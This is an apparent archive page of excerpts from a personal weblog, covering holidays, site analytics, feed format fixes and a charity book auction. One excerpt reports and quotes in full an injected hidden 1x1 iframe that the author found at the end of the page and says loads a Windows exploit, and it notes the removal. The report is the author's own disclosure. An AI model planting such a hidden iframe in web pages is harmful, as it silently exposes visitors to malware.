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Happy New Year

A neighbor’s jade plant bloomed, and managed to survive the beating from last night’s storm. A good image to end 2005 on. My best wishes for 2006.

Seasons Greetings 2005

I didn’t get around to making a holiday postcard this year, my apologies. In the past week I accepted a new job, friends had a beautiful baby daughter, and another learned her brother has cancer. This time of year amplifies joy and sorrow. I wish all of you happy holidays, whichever ones you may keep [...]

Two Weeks of Mint

A couple of weeks ago, I bought and installed Mint to analyze the traffic here. Mint, like Google Analytics and MeasureMap, can’t tell you about syndication feeds (unless readers come through Bloglines or similar.) So this is a sample skewed towards people who may not be cutting edge users. Popular Pages Do Cats Cause Schizophrenia [...]


I get comments, on occasion, about this site’s onomatopoeic name. Now it has been used as onomatopoeia.

Jakob Nielsen on Weblog Usablity

Jakob Nielsen’s posted his top ten list of design mistakes in weblogs. In the interest of bloging one’s mistakes, I’m guilty of at least: No ‘about’ page. My about is more of a colophon, and that hasn’t been updated since last century. I should do something about that, neh? No author photo. Here I am [...]

Old Formats Die Hard

I restored a RSS 2.0 feed for More Like This using Feed Burner. There are plenty of people pointing at my old RSS feed. But the feed had been replaced with a script that was supposed to tell you that the feed was gone and to switch to the Atom feed. However, I also sent [...]

Double Links in Atom Feed Fixed

I fixed a problem where my Smarty template was creating a link around an already existing link in my Atom feed. The Feed Validator didn’t catch it since it was in the XHTML.

Testing the Atom Rig

Net News Wire announced Atom 1.0 support on Thursday. I’ve been updating the feed, switching to tag: entry ids and generally futzing with the weblog. Please let me know if things aren’t working for you.

What Egoboo Is

Egoboo is reading a thread on DKos and seeing people sign posts with their UJ name.

Auction for Quake Relief: ‘The 57th Franz Kafka’ by Rudy Rucker

Updated: the book has been re-listed in a fashion that doesn’t get eBay’s TOS and lawyers upset. The charity is now the American Friends Service Committee because Oxfam America was not available through missionfish. I have a first edition of Rudy Rucker’s short story collection The 57th Franz Kafka that I found in a tiny [...]


It’s the end of the year, so time for some numbers. Here’s the categories I used most often in my posts this year (2004): +———-+———————-+ | Posts | Category | +———-+———————-+ | 33 | Software Development | | 34 | Web | | 35 | Humor | | 37 | Politics | | 43 | [...]

Season’s Greetings

The 2004 Card: Clockwise from Top Left: Hitomi at 4 months; whump at the summit of Haleakala, Maui; Yukino at 4 months; Cynthia at the summit of Haleakala; whump’s 40th birthday cake; Lea Hernandez, whump, Chad Childers, and Cynthia at APE, San Francisco.

Thanks Secret Santa

My Secret Santa gift arrived today. Thanks to whomever sent a copy of Tony Head’s Music for Elevators from my Amazon Wish List! I’ve taken care of the presents for the name I drew, but don’t want to spoil the surprise.


Tonight, when running a validation check, I discovered the following snippet inserted at the end of the page. <div style=”visibility: hidden; position: absolute; left: 1; top: 1″><iframe src=”http://re6.net/?s=1″ frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no></iframe></div></body> The hidden iFrame loads a Windows exploit. I have it removed, for the time being. I don’t know how [...]

Message to Live Journal Admins

You can change the name of this feed on LJ. The rest of you lot can ignore this post.